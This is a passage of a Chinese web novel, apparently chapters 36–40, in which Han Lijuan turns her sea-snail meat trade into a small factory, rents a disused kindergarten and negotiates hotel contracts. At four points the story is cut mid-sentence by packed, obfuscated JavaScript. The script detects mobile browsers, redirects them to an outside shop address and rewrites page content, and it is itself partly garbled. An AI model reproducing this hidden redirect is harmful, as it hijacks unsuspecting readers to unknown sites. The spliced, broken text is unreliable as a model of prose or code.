韩丽娟点头，实在不行就是赶点蚬子啊，螺啊的，到时候接着赶早市。毕竟夏天波螺肉产量也会下降，她没有那么忙。 她跟很多合作的酒店都问过，海鲜人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147619|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有固定的供货商，一年四季合作。 所以，在忙碌两个多月，三个月后，她终于也迎来可以短暂休息的时候，韩丽娟决定，趁着夏天，没啥大买卖，好好学习。 等秋天，方虹开学回来，她没准还能求着方虹带她去学校转一圈，跟那些大学生交流交流。 “韩丽娟？”韩丽娟正面朝大海沉思，就听又有人叫她，她回头。 “真的是你！”来人惊喜的走过来。“我刚刚看着背影像，你都好久没来海边了。” 冯永乾三步做两步的跑了过来。 “冯永乾，好久不见。”之前找郭大娘的时候，韩丽娟先是找到了他家，然后他带着自己去的郭大娘家，后来韩丽娟赶海，偶尔周末，会遇见冯永乾。冯永乾这个人极其热情，会帮着她们赶海。 但她有半个月没来，俩人真的是很久没见了。 “最近在忙什么呢？”冯永乾问，他问郭大娘，郭大娘也摇摇头，不跟他说太多。 “没忙啥，卖卖海货，因为有郭大娘帮着赶海，我就很少来海边。”韩丽娟解释。 “哦，这样。”冯永乾有点失落，但很快就兴奋起来。“你今天过来，是开始回来赶海了吗？” “也不是。”韩丽娟否定。 “冯永乾！”俩人正聊天，就听有人在岸边喊。“来家歹饭啦！”是冯永乾他妈，叫他回家吃饭。 “这么快就吃午饭了。”冯永乾有些抱怨。 韩丽娟朝冯永乾妈妈挥挥手打招呼。“娟子，到家里吃口饭吗？”冯永乾妈妈见状，也招呼道。 “对呀，娟子，去我家吃口饭吧。”冯永乾一听，热情招呼。 “不了，我跟唐姐过来的，我俩一会还有事呢，你快回家吃饭吧。”韩丽娟说完，就朝着唐姐飞步走过去。 冯永乾见状，一步三回头的走了。 “瞧我这脑子，我就觉得自己好像忘记点啥事，看见这小伙才想起来，你没来这段，一到周末他就过来转一圈，还问过我，你咋没来。”唐姐一脸八卦。 “唐姐，我们不是那种关系。”韩丽娟赶忙解释，关于冯永乾，她一开始不懂，慢慢也大概明白，但她真没有那个意思。但人家也没说啥，她就更不能说啥了，就当不知道呗。 唐姐看着那走远的人影和岸边的妇女，想了想，还是说。“这小伙子虽然不错，他妈看样子不太好相处。”虽然韩丽娟现在说着没啥，谁知道以后呢。 前两次也是，这小伙出现不一会，他妈就过来，眼睛在海边四处寻找，没看到韩丽娟的影子才舒一口气，回去。 今天看到韩丽娟在，就赶紧喊她儿子回家吃饭，这才十一点呢，哪有这么早吃午饭的人家，就是借口，不想让她儿子跟韩丽娟靠的太近。 “我能看出来。”韩丽娟也不傻。“但我真没那意思。” 赚钱多有意思，她现在整天这么急着找别的出路，还不是因为真的赚到钱赚上瘾了吗。 要知道，她，韩丽娟，现在可是万元户了！ 37. 第 37 章 是的，韩丽娟现在的银行存款已经超过一万元了。虽然这里面有1300元是从家里拿来直接存银行的。但她，确实是赚到钱了。 她谁也没告诉，只是自己抽屉里经济学的书里面，夹了四张银行存款单，一张活期储蓄存折。存款是一张1300元的，两张3000元的，一张2000元的。存折里还有1100元。 来的第一个月，三月份的时候，她主要是自己卖海菜，以及后来给店面送海菜。三月份，他每天赚的钱在20元到30元左右，第一个月，她赚了800元。 四月以后，她开始给各大酒店提供波螺肉。第一天，就卖出去10斤，后来，慢慢的越来越多，四月底，数字就固定在每天60斤，根据品级不同，她每斤净赚4块到4块5,4月，她赚了4500块钱。 而五月份，因为没有什么新的投入，每日利润已经达到300元，5月过半，她已经赚4500元，跟4月一整月的收入持平。 两个半月的钱，加上她原有的1300元存款，她现在名副其实的万元户。虽然，这其中有1300元不是她赚的，但肉眼可见，她很快就能把这1300元替换掉。 赚钱多好，哪有时间想这些有的没的。 “你自己知道就好，有那样人家，自己的孩子是宝，恨不得给自己孩子配个天仙。”唐文丽想到这，突然笑了。 就冯永乾她妈这么厉害，不知道以后能找个多好的媳妇，她就觉得韩丽娟这丫头很好，冯永乾还配不上呢。 “一会你自己悄悄问问那个郭大娘，看冯永乾他妈是不是跟她说过啥，我看那个冯永乾有时候去缠着那个郭大娘，郭大娘都不搭理他。”唐文丽又说。 “不了。”韩丽娟摇摇头。“问了就表示我知道，到时候郭大娘跟冯永乾他妈说起来，弄得像我想咋滴似的。” “对哈。”唐文丽点点头。“还是你说的对，我想的就简单了。” …… 紫头巾大婶说到做到，她跟花头巾大婶俩人，自从答应韩丽娟开始供货以后，一日也没有出错。 随着天气逐渐变热，波螺的需求慢慢降低，主要是不分等级的波螺肉需求降级了。毕竟这个等级的波螺肉主要是做馅，天热了，人们不是那么爱吃带馅的。 相比之下，优等品需求降低的就没那么多，天热，凉菜，捞面，都比较受欢迎。 五月、六月是韩丽娟存款飞速上升期。到了七月份，收入一下降了一大半，要是刚刚来的时候，日入100块，会让韩丽娟兴奋地睡不着，但现在，她觉得也就那样，甚至会觉得少了。 趁着工作变少，韩丽娟去了趟市里。 市里和县里是两种感觉。 市里很正规，很多酒店要求供应商最低也要是个体工商户，像是韩丽娟这种小作坊，对方一听，就先拒绝了。 要想把她的产品推到市里，第一步就是办厂，韩丽娟打听过，办厂就要有经营场所，她自己现在住的那个地方是不合格的。韩丽娟所在的村子里有几个合适的空置厂房，韩丽娟侧面打听过，租金根据大小两三千元不等。 租了房子，还要扯个电话，一部电话就要好几千。 而且市里的结算更加正规，是按月结算，韩丽娟这边给大家结款都是按天的，从不拖欠。她如果真的办厂，还要准备至少一个月工人的工资，郭大娘、爷爷奶奶加上刘婶那边的人员，她最起码要备一万元的现金。 所以说她置办下来一个小工厂，一万五千块打底。 她现在有这么一笔钱，但是，她在犹豫，她的家底还不够厚。一旦她办下来，但是市里的生意一个没拉到，要怎么办呢？ 整个夏天，韩丽娟一边看书，一边就在思考这个问题。韩丽娟知道，如果是3月的她，会毫不犹豫的给自己定个目标，要赚钱办厂，但现在她之所以犹豫，是她真的有一万五千块钱。 那可是一万五千块钱啊。退一万步，就算一万块不会赔本，但扯电话线，租房子的钱，花出去，就真的没有了。这些钱，可是她辛苦赚来的，要她眼睛都不眨一下就花出去，她真舍不得。 就在韩丽娟纠结的同时，她发现她出现竞争对手了。 那天她去给店面送货，刚刚到酒店门口，停好车，就发现附近停着一辆配置跟她的自行车十分相似的车子。也是在车后座绑着一个保温箱。 韩丽娟不知道对方是卖雪糕的还是……，她走过去，仔细观察那个保温箱，因为打理的不干净，箱皮上沾着香波螺的口盖，吸引过来苍蝇在嗡嗡嗡的飞着。 看样子，也是扒香波螺肉的。 人不在，应该是进了酒店。 韩丽娟没动，她站在一旁，等着人出来。 不一会，就见一个人摇头晃脑，唉声叹气的出来，手里用塑料袋拎着一包扒好的波螺肉。 看样子是没谈成。那人拎着的塑料袋是透明的，韩丽娟打眼一看就知道，这个人不是对手，他干活太埋汰，第一印象一点也不好。 那人将袋子扔进保温箱，推着车离开，走之前，还看了一眼站在一旁的韩丽娟，可能觉得韩丽娟莫名其妙吧。 毕竟是正规些的酒店，要送入口的东西总要重视，但如果对方价格便宜，韩丽娟不知道酒店方会不会就改变主意。 毕竟韩丽娟从来不是靠价格取胜的，她要的价格不便宜，没有价格优势。 不能犹豫了，必须成立工厂，有正式的公章，跟酒店签订长期供货协议，不然，过了这个冬天，她很可能被新的小作坊取代。 这般想着，韩丽娟进店的时候，仔细观察了店里人员见到她的表情，还好，没啥变化，那刚刚那个人应该没给店里人留下什么特别印象。 回到家，韩丽娟就找到胖婶，让胖婶给搭个桥，找村里负责人说一说租房子的事情。 “娟子，你跟婶子透个底，这个春天和夏天没少赚吧，这都开始要租房子了。” 路上，胖婶忍不住问，她可太好奇，这个小丫蛋赚多少钱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151009|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “胖婶，我赚的那点钱，哪值得在你面前提呀。再说人家发财都悄默声的发财，哪有像我这样大张旗鼓的。我这样的都是半吊子晃荡。其实我也不想开工厂办执照，开了工厂一下子成本也提高了，但是现在人家酒店那边要求越来越正规，我要是不办，就更赚不到钱。” 财不外漏，韩丽娟不是想骗人自己不赚钱，而是有些真话，不足为外人道也。 “你们这些做买卖的，都说自己不赚钱，不赚钱一个个干的还都一包子劲。”胖婶也不是那么不懂分寸的，问了人家不说，就不多打听。“行啊，你这小姑娘挺厉害，这才来了多久，半年的功夫，就敢自己干厂子了，我还是第一次见到你这样的。” 胖婶有四排出租房，韩丽娟是第一个不靠打工赚钱的。 “胖婶，一会你得帮我说点好话，让村里给我便宜一点。”韩丽娟还没跟村里打过交道，她外来人员，总要找个当地人，帮她说说话。“我还害怕村里不租给我。” “这你放心，有你胖婶呢。”胖婶拍着胸脯保证。“那房子不租给你，就要一直空着，能租出去，谁都高兴。” 事实正如胖婶所说，一切顺利。 韩丽娟看上的是一个废弃的幼儿园。 村里之前有个机械厂，厂子福利待遇都不错，有自己的幼儿园，但现在厂子归个人了，这个幼儿园就停办，厂子员工的孩子跟村里其他孩子一样，去村里的幼儿园。 这个幼儿园有一排五间房，还有自己的锅炉房，每个房间都有暖气，水电齐全，窗户外有防盗栏，室内粉刷的都挺干净，因为空置一段时间，有些灰尘，有些玻璃坏了，都不是大问题，简单收拾一下就好。 幼儿园有一个不小的院子，以前是孩子们玩游戏的场所，现在设备也拆除卖掉了，整个院子是空的，但三面围墙都还很结实，没有漏洞。 村里要2000块一年，胖婶给讲到1800一年，韩丽娟签了三年，但是按年付租金，虽然不便宜，但韩丽娟觉得值得。签合同的同时，跟村里也申请安装电话，估计要不了十天，就能安装完毕。 有了厂房，韩丽娟才知道，自己之前预估的15000元的本钱都说少了。厂房看上去不错，但这里需要修一修，那里需要补一补，都是钱。 爷爷奶奶们帮着她收拾，剩了一部分人工费。还有桌椅板凳要置办。 现在韩丽娟开不了太多车间，准备先开一个车间，置办上长条桌子，以及舒适点的凳子。 之前没条件，在她的厨房，大家都用的小饭桌，坐着小板凳，现在有了厂房，让大家可以舒舒服服二代坐着。 “1800！”姜美凤听到房租的价格都惊呆了。“我一年也就赚这些，你这眼睛眨都不眨，就租了个房子，真是，人比人气死人啊！” 韩丽娟想说，她眨了，眨了好多下才决定租的，心也在滴血。 现在的她，每天睁开眼，净赔5块钱，一天毛利润低于30，就是在糊弄自己玩。 38. 第 38 章 “美凤姨，等入冬我这个厂子如果起来，你来给我帮忙吧。”韩丽娟邀请姜美凤。“到时候我给你一个月200块钱，效益好还有奖金。” 她需要帮手，但不是现在。 现在她不知道自己的厂子能不能存活下去，但到年底，应该也能见到一些端倪。 她要出去跑业务，厂子里需要有人帮着她处理内务，她本来又邀请了一次孙慧，但孙慧铁了心的不来。 “娟子，你说真的？”姜美凤听罢，不敢确信。“那慧慧那里，会不会不开心。”这样的好事，她本来不该提起孙慧，但这俩孩子都是跟着她出来，而且也肉眼见的俩孩子关系很好，如果韩丽娟觉得自己年纪大，能压住人，而忽略孙慧，让两个孩子吵起来，总归不好。 “那不会。”韩丽娟听罢，摇摇头。“美凤姨，我既然让你来，就确保孙慧不会为这件事生气的。”那天她再次让孙慧来，孙慧摇头的时候，她就说了，她不来她就去找美凤姨，因为她真的需要人。 孙慧无所谓，让韩丽娟不用管她。 “主要是你怎么想。”韩丽娟接着说道。“美凤姨，在我这里，爷爷奶奶们赚的不少，但他们赚的是辛苦钱，未来，除非波螺肉的市场价降到我无法接受的地步，我才会给大家调低工费。你如果过来，做的是管理以及辅助的工作，工资固定，可能某个月，你的工资甚至没有他们的高，我希望你也不要生气，觉得自己赚少了。因为我们俩赚的每一分钱里，都有他们的功劳。” 找一个人给多少钱，这件事韩丽娟考虑很久，不能太低，毕竟要管着一摊子的事情。但也不能太高，在她心中，目前这个管事的工作量其实没有爷爷奶奶们重。 “但如果你有多余的时间，参与到扒波螺肉，也是按照计件额外算钱，不算在你这200元的工资里。” 思来想去，韩丽娟想，那她就把这个管事人的工资拆分成两部分，愿意多赚，就跟着大家一起干活。 未来如果厂里的业务增加，她再酌情给管事涨工资。 “这有什么不愿意的。”姜美凤一听，哪会有意见。“等你需要就跟我说，我就过来，整好离家近了，还能照顾刚刚。” “行，美凤姨，那咱们就说定，我这个厂子如果能支棱起来，你一定要来帮我。”韩丽娟说完，就准备走，她准备在九月份开业，挺多事情要准备的。 “哎……娟子！”谁料，姜美凤突然叫住她。 “美凤姨，还有事？”韩丽娟停住脚步，略带疑惑的问。 “走走，咱俩出去说。”姜美凤看着孩子睡得挺熟，想了想，拉着韩丽娟出去，关上门。 俩人走出院门，姜美凤也没停，又走出一段距离。“美凤姨，啥事啊，这么神秘，这都走挺远了。” “娟子，最近你没发现孙慧有点不一样吗？”姜美凤前后左右瞧瞧看看的，终于说出来。 “没啥不一样吧。”韩丽娟仔细回想，孙慧没啥异常，她最近一段忙着厂子的事情，真没怎么仔细观察，可能也有遗漏，但孙慧藏不住什么事，有事会跟她说的。 “她跟厂子里维修机器的一个小伙走的挺近。”话说出来，后面就顺畅了。“按说年轻的姑娘小伙处对象，也没啥说的，但这个小伙子不靠谱，之前他跟别的车间一个小姑娘聊的火热的，跟孙慧熟了之后，现在没事就来找孙慧聊天。” “还有这事？”韩丽娟还挺意外，孙慧还挺能绷得住，一句也没跟她说。 “你……”姜美凤不知道这话怎么说，管还是不管，都有问题。“反正，你管着她，别让她晚上出去。” 她想着韩丽娟也是大姑娘了，有些话说出来应该能懂。 韩丽娟闻言有些赧然，仍然点点头。“这个我知道，谢谢你，美凤姨。” “有啥谢的，你们年轻，别怪我多管闲事就好。”姜美凤最近一直纠结这件事，但之前韩丽娟跟她说过，孙慧这孩子家里是城里的，没准人家没那个意思，就是城里姑娘性格开朗，觉得那个小伙有趣多聊几句，她偏把事情想左了，为此特意去找人家说，怎么想怎么觉得不合适。 但……一旦她没想错呢？ 今天韩丽娟过来找她，让她抓住机会，索性说一说。 …… “美凤姨答应你没？”韩丽娟回到家，孙慧坐在炕上，举着小镜子，拿着镊子在拔眉毛。“聊了这么久。” “答应了。”韩丽娟说。 “韩老板，跟你说，你开业呢我也不准备送你别的，但是员工的套袖你不用花钱找人做了，我承包了！” 孙慧扯了好大一块布，买了皮筋，她准备最近午休都不闲着，给韩丽娟做套袖。 “谢谢慧慧，我还真忘了套袖这个事情。”韩丽娟最近忙着开业，早开业，早扩展业务，赶紧赚钱啊。 厂子招牌已经找人做了，排水管道也改的差不多了，她预留了俩个排水口，一个在室内，一个在室外，方便洗和煮。 就等着营业执照下来。 “本来呢想送你点别的，鲜花啊什么的，但想想你这个人一点都不浪漫，送了你也欣赏不来，算了，送你点实用的。”孙慧放下镊子，举着镜子左照照，右照照。“怎么样，我的眉毛？” “好看。”韩丽娟夸，但还是反驳。“我哪里不懂浪漫啦？” “是嘛！那我问你，是要套袖还是鲜花？”孙慧放下镜子，笑嘻嘻的问。 “哈哈哈哈……”韩丽娟没有回答，哈哈大笑。 “笑啥，你说呀？” “套袖，哈哈哈……”韩丽娟被自己逗笑。 “哈哈哈……我就说，你还不承认。”孙慧也忍不住大笑。“我还不了解你！” “慧慧，你在厂子待得开心不。”笑闹一场，韩丽娟突然恢复正经。 “前一阵真的很枯燥，我都想辞职不干了。”孙慧也不笑了。“但最近……”说道最近，她忽然停下了。 “最近怎么？”韩丽娟追问。 “最近嘛，觉得还能坚持坚持，我这人你又不是不知道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156761|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵一阵的。” 我可太知道了，韩丽娟心说，你可不是一阵一阵的，你是又有了新的东西勾着你留在针织厂。 “我最近太忙了，不仅仅需要套袖，还要做一些围裙，林爷爷家里有缝纫机，我借来，你下班回来帮我忙忙，怎么样？” 韩丽娟本来想买一批，但现在想，不如让孙慧帮自己做。 “行吧。”孙慧考虑一下，答应了。 …… “往上一点，再往上，往左，多了，再回来一点，好好好，整好！” 韩丽娟定制的招牌做好了，厂家来人给挂上，一群人都来看热闹，“娟子，你这都准备的差不多了吧，哪天开业啊？” “9月15。”韩丽娟回到，她站在人群前排，看着自己厂子的招牌盖着红布，挂在那里。 “那你这开业，不热闹热闹啊？”又有人问。 “热闹。我准备了十斤的糖块，二十瓜子，二十斤花生，还有一大箱子的苹果，到时候还放鞭炮和烟花，大家有功夫的都过来哈。”韩丽娟顺势邀请众人。 “那你这都开工厂了，我们闲着还能来你这赚零花钱吗？” 之前韩丽娟家，晚上会有挺多附近的人，下班到家，吃过饭，来她家干个一个小时半个点的，赚点零花。 “都能，虽然建厂了，还跟以前一样，我这里还招零工，大家有时间的尽管来，现在房间宽敞，新的桌椅板凳做活更合身，灯光也亮，我还给大家买了收音机，到时候大家一边听广播，一边干活，能舒服点。” 韩丽娟将所有的灯换成荧光灯，她尽可能的提供好的工作环境，能让更多的人愿意过来干点零活。 “行行行。”大家热闹也看了，担心的问题也都得到答案，心满意足的离开。 韩丽娟自己站在厂房前，既然已经开始，那就加油干吧！ 第一步，先把手里的客户变成长期客户。 “恭喜啊，小韩，你这现在也是正儿八经的厂长，以后，没准要靠你多关照关照我了。” 周经理这里，他先是恭喜了韩丽娟，接着说。“过去这半年，咱们合作的不错，我这个人，认定某一个人，轻易不会换，但签订长期合作，这个价格咱们就得谈谈了。” “周经理过奖了，我这是为了更好地给咱们各大酒店提供服务，您跟一个小作坊合作，和跟一个厂子合作，那对消费者来说，感觉也是不一样的。”韩丽娟先是感谢周经理的夸奖，接着，话锋一转。“价格可以谈，但是，之前我一直是保护性的供货，您这一片区域，我只给您一家酒店供货，但若价格下来，那咱们之前的协议，也要作废，其他的酒店，我也要去谈，薄利多销，我想周经理您应该也理解我。” 她现在也读了些书，市场的供需关系也大概懂了些。之前她要的价格高，别人答应，那是因为没有竞争对手。这半年，尤其是入秋以来，韩丽娟本人都遇到过两三次波螺肉推销员，她手里的客户，已经有人隐晦的提醒，她的价格高，可能要结束合作。 39. 第 39 章 因此，在价格这里，她有心理准备。 “你呀！”周经理一听，笑着摇摇头。“真是寸步不让，我让你降价，你就要给我周围的酒店供货。但是，小韩，现在做这个海产品加工的可不止你一家呀！” 他从韩丽娟角度出发，表明市场有竞争，降价是必然的，周经理从来不觉得自己讲不下来价格，但他没想到韩丽娟也将他一军。 “您也说了，不止我一家做海产品加工的，就算我不给周围这几家供货，您觉得别人就不给了吗？”韩丽娟反问回去。 “周经理您这里一直都特别照顾我，如果价格合适，您周边这些酒店，我照旧不供货，您说的那些对手，我都了解过，但从质量上来说，还是我这里更好，您觉得呢？” 韩丽娟可以给一些优惠，为了一个稳定的年度订单，但不能给降太多，未来还有很多不可预期的事情。周经理是优质客户，为了留着这个客户，她可以不在他们酒店周边开发新客户。 周经理无言的点点头。她说的话，他认同。但认同不带表他不为自己争取利益。 “价格咱们商量着来，但是这个订单就不要一年一签了，一个季度一个季度的来，毕竟咱们酒店行业也有淡旺季，也有大年小年，不是任何时候这个需求都是固定的。” 价格他不满意，那他就绝不签长期合同。 “咱们签合同是给双方保障，就如您所说，市场上提供方多了，但是您也看到，如今开酒店的也多了，市场都在变大，我这边厂房是固定的，那么产量也是固定的，给您提供了，就不给别人提供，相反道理也是一样的。目前，我觉得，还是需求大于生产。”韩丽娟觉得，既然市场给她叫价的权利，那她就是那个少数，而对方是多数。“而且，我这边也会给一个百分之十的下降空间。”韩丽娟补充道。 “今年4月中旬到9月中旬，这5个月，我一共为贵酒店提供了1050斤货，中间有夏季的淡季，马上就到旺季了，如果到今年年底，贵酒店销量达到2000斤，在原有返利的基础上，每斤再返5毛钱。2000斤，也就是1000块钱，而且，这个没有上限。明年，如果贵公司销量达到2500斤，在原有返利基础上，每斤返6毛钱，销量达到3000斤，每斤7毛钱，以此类推，最高我可以给您返到每斤1块5毛钱，能拿多少，就看您公司卖多少了。当然，这其中优等品销量必须占总销量的50%以上。” 其实韩丽娟变相每斤最少降5毛钱，至于最终降多少，就看酒店的实力了。 “这可真是拿个萝卜吊在我面前，用销量刺激我呢，但我们毕竟是大饭店，不是香波螺专卖店。”周经理有些佩服韩丽娟。“这样，本身的价格，再给我每斤降5毛。”韩丽娟主动降价了，周经理就没使劲的再要求降价。 “每斤我可以降8毛。”韩丽娟开口，震惊到周经理，这小丫头这么好说话？ “但是。”韩丽娟接着说。 周经理放心了，就知道这小丫头没那么好说话，她要是完全答应，他还得寻思寻思有没有坑等着他跳。 “优等品我可以每斤降8毛，但是其他两级的产品，普通品我每斤涨价5毛，不分等级的每斤我要涨2毛。” 经过半年，她手下都是熟练工了，包括林爷爷，煮波螺的水平也越来越高，从优等品里往外筛低级的，已经筛的很少了，来做兼职的乡亲们，大家的技术都很高了，她现在主推的就是优等品。 至于普通品，这半年几乎没有销量，但是韩丽娟琢磨，不能轻易把它拿掉，这东西在这有点用。那就提高它的价格，让选择的人自动放弃。 “你这是让我主推你的优等品啊！”周经理一听就明白，这丫头主动降价，就是为多卖优等品。“也罢，本来也跟大厨商量，年前推一份香波螺海鲜捞饭，我呀，这勤勤恳恳的都是给韩老板打工！今年2000斤的奖励，我是一定要拿到的，明年我争取卖3000斤往上！” “周经理说笑，咱们一起发财。那周经理要没意见，咱们今天就把这两份合同签了吧。”韩丽娟已经开始找笔。 这年头合同签的都很简单，没有那么多条条框框的，俩人互相沟通，写下来供货量跟规格签字盖章就算完事。 “两份？”周经理愣了一下。 “今年到年底的，还有明年一整年的啊！”韩丽娟回。 “哎呀！”周经理一拍脑子。“还真是两份，但今天不行，这件事我虽然能做主，但我还要跟我们老板打声招呼的，我可以先把今年的签了，咱们合同呢，供货单独签一份，返利单独签一份，因为我们的供货合同都是固定的，就不需要改了。”周经理建议到。 韩丽娟点头答应，她大概明白这两份合同的弯弯绕绕，但看破不说破，别人不主动找她要，人家凭自己本事，给自己争到的利益，她也不去动。 “那，合作愉快吧，韩厂长！”周经理伸出手，韩丽娟也伸出手。“你真的让我刮目相看，我不管说什么，你都能应对，你这个小姑娘，厉害。”松开手，周经理忍不住感叹。 “那是因为我重视贵酒店，特别想达成合作，自然准备的充分了些。”韩丽娟承认，她确实做了不少准备，但初衷是为了合作啊。 “你这话我爱听。”周经理听得哈哈大笑。“加油吧，韩丽娟，我看好你！” “谢谢！”这次，韩丽娟的谢谢带了些真心。 从周经理办公室出来，韩丽娟忍不住高兴，一个周经理这样的大单，就意味着她扭亏为盈。 她韩丽娟的海鲜加工厂，能够存活下去啦！ 乘胜追击，从周经理这里离开，韩丽娟照旧，又去之前合作的店面。 有还继续合作的，也有拒绝合作的。继续合作的，就签合同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162085|195029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不合作的，韩丽娟也留下电话号码，说有需求还可以找她。 “不错呀，韩丽娟。”金店长这里，听说她开了厂子，由衷的为她高兴。“你这也太能瞒了，天天来送货，都能忍着不说。” 她是真的敬佩韩丽娟这保密的能力。 “也不知道最后能不能成，怕说太早，结果没成，让人笑掉大牙。”韩丽娟解释道。 “这有什么。”金丹桂在这圈子见多了各种消息满天飞，最终成的没几个。 “金店长，我这次既然建厂，一方面想就是给已有的客户提供更加好的产品，还有就是我想把产品卖到市里去。”韩丽娟跟金店长说起自己建厂的缘由计划。 “这个想法不错。”金丹桂听到韩丽娟的计划，点头认同，做生意就是不进则退，所以要不断地往上走，推陈出新。 “今天我来，一呢是想继续跟咱们早餐店合作，咱们签一份正式的供货合同。二呢就是找金店长你本人，想问问你，在市里的各大酒店是否有比较熟识的朋友，帮忙牵线搭桥，当然，不管是对金店长，还是金店长的朋友，咱们在商言商，如果最终能够签订合同，我这边都会按照年合同数量给提成，一斤一毛。”韩丽娟找到金店长，是因为她知道，金店长曾经在市里工作过，过去也是做餐饮的，虽然现在在早餐店，以前也在饭店做过，认识不少人。 市里跟县里不一样，韩丽娟之前去过市里一次，市里的大饭店太正规，正规也有一点不好，就是轻易见不到酒店的负责人，人家推销的见多了，很多店员见到他们，能熟练地将人请出去。 就算是好不容易见到大堂经理或者管事的，也因为韩丽娟之前资质不够，没有谈下去。 这次，韩丽娟准备从人情关系入手，只要对方能帮着引见，就好办很多。 “你找我，也算是找对人了。”金店长一听，就明白怎么回事。她也是那种古板的人，君子爱财，取之有道，她为韩丽娟提供信息，韩丽娟给她报酬，这是应该的。所以，金店长听到韩丽娟的请求，并没有觉得尴尬，反而很认同。 做生意，就要有些手段和变通。在这个圈子里，不灵活一点，混不出来。 “这样，你如果不急，我这周三休息，回去整理一下，你等我电话。”金店长跟很多朋友也不总联系，虽然有电话，但现在除非有急事，否则没几个人打电话唠家常。 她要先把信息确认好，再给到韩丽娟。 “那好，那我就等你电话。”韩丽娟不急，生意不是一天做成的，她厂子刚刚成立，虽然丢了几单，但今天签的这几单，都增加需求，总体来说，他可以通过控制产量，减少兼职人员的生产，达到生产和销售的持平。 今天签到单子，回去就要招人，招长期干的人。 她还要想想，如果后续需求增加，如何调动兼职人员的积极性和参与率。 40. 第 40 章 新厂开办以来，虽然需要操心的事情更多一些，但一切都朝着好的方向发展，韩丽娟每天风风火火忙的热火朝天。 在金店长的帮助下，韩丽娟在市里也开出客户，市里的价格，优等品价格不变，但不分等级的产品，原价从原来的十一块提高到十一块五毛钱，给到的优惠和返利，也主要倾斜到优等品上。 市里的客户还多送货成本，她要雇人送货，六七十里路，她总不能天天蹬着自行车去送。 她之前就盯住一个每天从市里来县里商店送货的小货车，跟对方谈好，让这个小货车司机给她送货，韩丽娟在对方的货车上放着带锁的保温箱，钥匙是店面跟她都有，司机送货后，将店里给的提货单送回，每月核算。 司机的费用是每月300块，未来如果需要他送货的店面多起来，货车司机还是要涨价的。 她本来想找金店长店里的司机，还有刘婶家那个养殖场的亲戚，但想到他们开的都是单位的车，线路固定，油耗不好计算，她需要承担的费用更多，就做罢了。 但这些支出都是应该的，市里的市场更大，而且优等品的销量更高，她以后的利润也会更多。 开厂子后，产品的成本有所提高，主要是最近她的投入多，还把一些固定资产的成本摊分在今年这一年，最近除了办厂时候的投入，又新增了两台保鲜柜，马上入冬，买煤也是成本。其他日常支出也有增加。 但是，因为人员增加和计划放开，总产量上来了。 之前韩丽娟身边只有几个爷爷奶奶，后来陆续又有几个妇女加入，还有一些下班做零工的，但夏季销售淡季，韩丽娟给每个人都控制产量，让大家都能赚到钱，现在她手里订单稳定，虽然还不到高峰期，但已经可以放开手脚，让大家开足马力生产。 她这里加上刘婶那边，日最高产量能达到130斤。 韩丽娟计划，等进入十一月，就招人，再增加一个车间，为12月的高峰期做好准备。 “娟子，跟你说个事。” 这天，韩丽娟来刘婶这边取货，取完货，刘婶一边用围裙擦手，一边支支吾吾的，拦着韩丽娟没让她走。 “什么事啊，刘婶。”韩丽娟停住脚步。 “明天我这再给你供一天的货，后天，你就找别人帮你干吧。”刘婶面带笑容，但说出来的话，却一点都不让人开心。 “刘婶，你不想干了，那大家呢？”韩丽娟第一反应，刘婶不干了，那别人也能干啊。 “不是。”刘婶摇摇头。“娟子，这事也瞒不住你，最近，我去县里随便转了转，也找到一两家愿意直接买我们货的饭店，我……”刘婶停顿一下。“我想了想，这也是机会，能多赚点钱，你说是吧。” 韩丽娟听明白了，刘婶绕过她，自己去卖波螺肉。也就是说，从现在开始，他们不是合作伙伴，而是竞争对手。 这个消息，让韩丽娟一时有些难以接受，她站在那里没说话。 她能够理解，但心又不那么痛快，可也不能说刘婶什么。 “娟子，你看我给你干一斤6块，抛出去成本，我一斤也就赚块八毛的，但我这自己去卖，人家一斤给我8块5毛钱，我这利润一下子翻了好几翻，是人，都知道咋选。” 